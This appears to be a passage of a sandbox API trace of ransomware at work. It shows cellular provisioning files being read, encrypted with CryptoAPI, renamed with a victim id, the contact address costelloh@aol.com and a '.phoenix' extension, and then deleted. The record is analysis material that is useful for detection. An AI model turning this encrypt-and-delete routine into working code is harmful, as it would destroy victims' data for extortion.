	[0256.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\658__connections_cellular_fido (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.980] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\658__connections_cellular_fido (canada)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.980] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.980] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.980] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\658__connections_cellular_fido (canada)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.981] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1511c0) returned 1
	[0256.981] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.981] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c8, lpOverlapped=0x0) returned 1
	[0256.983] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0256.983] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.984] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151140) returned 1
	[0256.984] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.984] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0256.984] CryptDestroyKey (hKey=0x151140) returned 1
	[0256.984] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0256.984] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0256.984] CloseHandle (hObject=0x2e0) returned 1
	[0256.984] CloseHandle (hObject=0x2f4) returned 1
	[0256.984] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\658__Connections_Cellular_Fido (Canada)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\658__connections_cellular_fido (canada)_i0$(__mvid)@wap.provxml")) returned 1
	[0256.985] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.985] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\659__connections_cellular_fido (canada)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.986] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=714) returned 1
	[0256.986] CloseHandle (hObject=0x2f4) returned 1
	[0256.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\659__connections_cellular_fido (canada)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0256.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\659__connections_cellular_fido (canada)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.986] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\659__connections_cellular_fido (canada)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.986] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.986] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.986] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\659__connections_cellular_fido (canada)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.987] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151540) returned 1
	[0256.987] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.987] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ca, lpOverlapped=0x0) returned 1
	[0256.988] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0256.989] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0256.989] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0256.989] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.989] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0256.989] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0256.989] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0256.989] CryptDestroyKey (hKey=0x151540) returned 1
	[0256.990] CloseHandle (hObject=0x2f4) returned 1
	[0256.990] CloseHandle (hObject=0x2e0) returned 1
	[0256.990] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\659__Connections_Cellular_Fido (Canada)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\659__connections_cellular_fido (canada)_i1$(__mvid)@wap.provxml")) returned 1
	[0256.991] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0256.991] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\65__connections_cellular_claro (chile)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.991] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=761) returned 1
	[0256.991] CloseHandle (hObject=0x2e0) returned 1
	[0256.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\65__connections_cellular_claro (chile)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0256.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\65__connections_cellular_claro (chile)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0256.991] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\65__connections_cellular_claro (chile)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0256.991] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.991] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0256.992] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\65__connections_cellular_claro (chile)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0256.992] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0256.992] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0256.992] ReadFile (in: hFile=0x2e0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2f9, lpOverlapped=0x0) returned 1
	[0257.069] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x300, dwBufLen=0x300 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x300) returned 1
	[0257.069] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x300, lpOverlapped=0x0) returned 1
	[0257.744] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1517c0) returned 1
	[0257.744] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.744] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0, dwBufLen=0xa0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xa0) returned 1
	[0257.744] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0257.744] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x152, lpOverlapped=0x0) returned 1
	[0257.744] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0257.744] CloseHandle (hObject=0x2e0) returned 1
	[0257.744] CloseHandle (hObject=0x2f4) returned 1
	[0257.745] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\65__Connections_Cellular_Claro (Chile)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\65__connections_cellular_claro (chile)_i0$(__mvid)@wap.provxml")) returned 1
	[0257.746] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.746] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\666__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.747] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=468) returned 1
	[0257.747] CloseHandle (hObject=0x2f4) returned 1
	[0257.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\666__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0257.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\666__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.747] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\666__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.747] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.747] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.748] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\666__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.748] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151140) returned 1
	[0257.748] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.748] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1d4, lpOverlapped=0x0) returned 1
	[0257.750] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1e0) returned 1
	[0257.750] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1e0, lpOverlapped=0x0) returned 1
	[0257.751] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151100) returned 1
	[0257.751] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0257.751] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0257.751] CryptDestroyKey (hKey=0x151100) returned 1
	[0257.751] WriteFile (in: hFile=0x2e0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0257.751] CryptDestroyKey (hKey=0x151140) returned 1
	[0257.751] CloseHandle (hObject=0x2f4) returned 1
	[0257.751] CloseHandle (hObject=0x2e0) returned 1
	[0257.751] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\666__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\666__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0257.752] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0257.753] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\667__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.753] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=454) returned 1
	[0257.753] CloseHandle (hObject=0x2e0) returned 1
	[0257.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\667__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0257.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\667__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0257.754] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\667__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0257.754] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.754] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0257.754] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\667__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\667__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0257.755] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151300) returned 1
	[0257.755] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
